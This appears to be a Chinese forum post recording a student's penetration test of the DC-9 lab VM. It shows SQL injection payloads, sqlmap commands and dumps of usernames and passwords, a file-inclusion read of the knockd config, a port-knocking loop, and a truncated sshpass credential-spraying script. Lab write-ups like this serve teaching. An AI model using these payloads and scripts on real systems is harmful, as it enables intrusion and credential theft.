找回密码
 立即注册
首页 业界区 科技 DC-9靶机渗透测试

DC-9靶机渗透测试

告陕无 昨天 19:25
大学实训要打的,记录一下。
环境搭建

网上下载DC-9靶机的ova镜像后用VMware打开导入虚拟机
端口扫描
  1. nmap -sV -A 192.168.6.132
复制代码
结果如下
  1. Nmap scan report for 192.168.6.132
  2. Host is up (0.00056s latency).
  3. Not shown: 998 closed tcp ports (reset)
  4. PORT   STATE    SERVICE VERSION
  5. 22/tcp filtered ssh
  6. 80/tcp open     http    Apache httpd 2.4.38 ((Debian))
  7. |_http-title: Example.com - Staff Details - Welcome
  8. |_http-server-header: Apache/2.4.38 (Debian)
  9. MAC Address: 00:0C:29:85:ED:06 (VMware)
  10. Device type: general purpose
  11. Running: Linux 3.X|4.X
  12. OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
  13. OS details: Linux 3.2 - 4.14
  14. Network Distance: 1 hop
  15. TRACEROUTE
  16. HOP RTT     ADDRESS
  17. 1   0.56 ms 192.168.6.132
复制代码
开放了80和22端口
漏洞测试&提权

从80端口开始
1.png

网站点进去一个个页面看,最后在search页面发现可能有sql注入。
search=1或者2返回空。
但是用万能密码返回了全部
2.png

把那个数据包复制下来sqlmap跑一下返回有6列
  1. python sqlmap.py -r post_request.txt
复制代码
3.png

自己验证一下,确实是6列
search=1' union select 1,2,3,4,5,6--+
4.png

python sqlmap.py -r post_request.txt --current-db --tables --batch
5.png

这是sqlmap的payload:
  1. Parameter: search (POST)
  2.     Type: boolean-based blind
  3.     Title: AND boolean-based blind - WHERE or HAVING clause
  4.     Payload: search=1'||'1'='1' AND 4693=4693 AND 'tYwv'='tYwv
  5.     Type: time-based blind
  6.     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  7.     Payload: search=1'||'1'='1' AND (SELECT 7698 FROM (SELECT(SLEEP(5)))KUYd) AND 'kvpr'='kvpr
  8.     Type: UNION query
  9.     Title: Generic UNION query (NULL) - 6 columns
  10.     Payload: search=1'||'1'='1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7176717671,0x447567446a486f7245594f79794b4261574765654b6e4d4e51427470564f59755348746c75516163,0x717a627071),NULL,NULL-- -
复制代码
现在手工注入拿用户细节表的数据
先看列有哪些
  1. search=0'||'1'<>'1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(column_name),NULL,NULL FROM information_schema.COLUMNS WHERE table_schema='users' AND table_name='UserDetails'--+
复制代码
6.png

拿密码
  1. search=0' UNION ALL SELECT NULL,firstname,lastname,username,NULL,password FROM users.UserDetails--+
复制代码
7.png

但是这些密码一个都登录不成功。
把请求数据包放txt中,先拖库保存到文件,可能以后有用。
python sqlmap.py -r request.txt --batch -D users -T UserDetails --dump
这里还有一个Staff.Users表,也查一下看看。
8.png

查到admin密码
9.png

10.png

解密后去manage.php登录
11.png

welcome.php报错File dose not exist,可能存在文件包含漏洞。
猜测传参是file
12.png

可以读取文件,之前扫到22端口,读取/etc/ssh/ssh_config看看
13.png

没啥有用信息,但是扫到22端口是filter状态,说明可能使用了knock服务
参考文章https://www.cnblogs.com/xiaoxiaoleo/p/8523322.html
读取/etc/knockd.conf:
14.png

用nmap打开端口。虽然文章说nc和telnet都可以打开,但是我试过了却不行,不知道为什么。
  1. for port in 7469 8475 9842; do nmap -Pn --host-timeout 100ms --max-retries 0 -p $port 192.168.6.132; done
复制代码
执行该命令后再次扫描,看到22端口变成open了。
15.png

尝试ssh登录。之前保存有users.UserDetails的内容,现在拿来用,因为之前读取的/etc/passwd中出现的用户名和UserDetails表的用户名刚好有重合。
16.png

手工尝试了好几个都登录失败,我就不信所有都登录失败,于是写脚本
[code]#!/bin/bashif [ $# -ne 1 ]; then    echo "用法: $0 "    exit 1fiCSV_FILE="$1"TARGET_IP="192.168.6.132"  # 目标服务器IP(直接硬编码避免重复修改)PORT=22TIMEOUT=10KNOWN_HOSTS=$(mktemp)# 检查依赖和文件if [ ! -f "$CSV_FILE" ]; then echo "文件不存在: $CSV_FILE"; exit 1; fiif ! command -v sshpass &> /dev/null; then echo "请安装sshpass"; exit 1; fi# 关键修复:使用while循环+文件描述符读取CSV,避免ssh读取剩余行while IFS=',' read -r id lastname password reg_date username firstname; do    [ -z "$username" ] || [ -z "$password" ] && continue  # 跳过空行或无效行    echo -e "\n----------------------------------------"    echo "尝试登录: $username@$TARGET_IP"    echo "----------------------------------------"    # 使用 -t 强制分配伪终端,避免"seudo-terminal will not be allocated"警告    # 关键:将ssh的标准输入重定向到/dev/null,防止读取CSV文件剩余内容    sshpass -p "$password" ssh \        -t \        -o StrictHostKeyChecking=no \        -o UserKnownHostsFile="$KNOWN_HOSTS" \        -o ConnectTimeout="$TIMEOUT" \        -p "$PORT" \        "$username@$TARGET_IP" \
您需要登录后才可以回帖 登录 | 立即注册